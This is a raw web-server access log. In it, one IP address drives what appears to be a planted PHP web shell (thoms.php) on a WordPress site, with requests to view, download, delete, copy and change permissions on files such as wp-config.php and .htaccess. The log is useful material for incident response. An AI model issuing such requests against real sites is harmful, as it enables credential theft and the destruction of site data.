45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?del=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 17437 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=thoms.php HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13429 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?dl=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?chmod=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?chmod=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=readme.html HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?del=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 17437 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-cron.php HTTP/1.1" 200 14186 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?dl=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=xmlrpc.php HTTP/1.1" 200 13377 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12043 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /thoms.php?chmod=wp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fmah.php&p=bodbooks.com.tw HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fmah.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13320 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /bodbooks.com.tw/upgrade/ HTTP/1.1" 200 6745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 17438 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /bodbooks.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=index.php&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=mah.php HTTP/1.1" 200 11816 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /bodbooks.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /bodbooks.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=index.php HTTP/1.1" 200 12064 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 17420 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:43 -0400] "GET /thoms.php?chmod=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /bodbooks.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-trackback.php HTTP/1.1" 200 14103 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?chmod=.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?chmod=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?chmod=error_log&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?del=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-load.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?del=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?dl=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 17431 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?dl=error_log&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Flocoy.php&p=bodbooks.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Flocoy.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:44 -0400] "GET /bodbooks.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11923 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?dl=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?del=generated-history&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?del=generated-history&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fgenerated-history&p= HTTP/1.1" 200 11927 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fgenerated-history&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /bodbooks.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?dl=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "https://163.245.207.76/bodbooks.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-trackback.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /bodbooks.com.tw/.well-known/ HTTP/1.1" 200 783 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:45 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-activate.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13019 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14169 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?chmod=wp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?del=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-mail.php HTTP/1.1" 200 15356 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?p=bodbooks.com.tw&upload= HTTP/1.1" 200 12157 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /bodbooks.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fupgrade&p= HTTP/1.1" 200 11934 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Flicense.txt&p=bodbooks.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Flicense.txt&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-settings.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /bodbooks.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?del=error_log&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=error_log&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?dl=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 17432 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /bodbooks.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Ferror_log&p=bodbooks.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Ferror_log&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:46 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?dl=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /bodbooks.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "https://163.245.207.76:443/bodbooks.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?dl=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /bodbooks.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
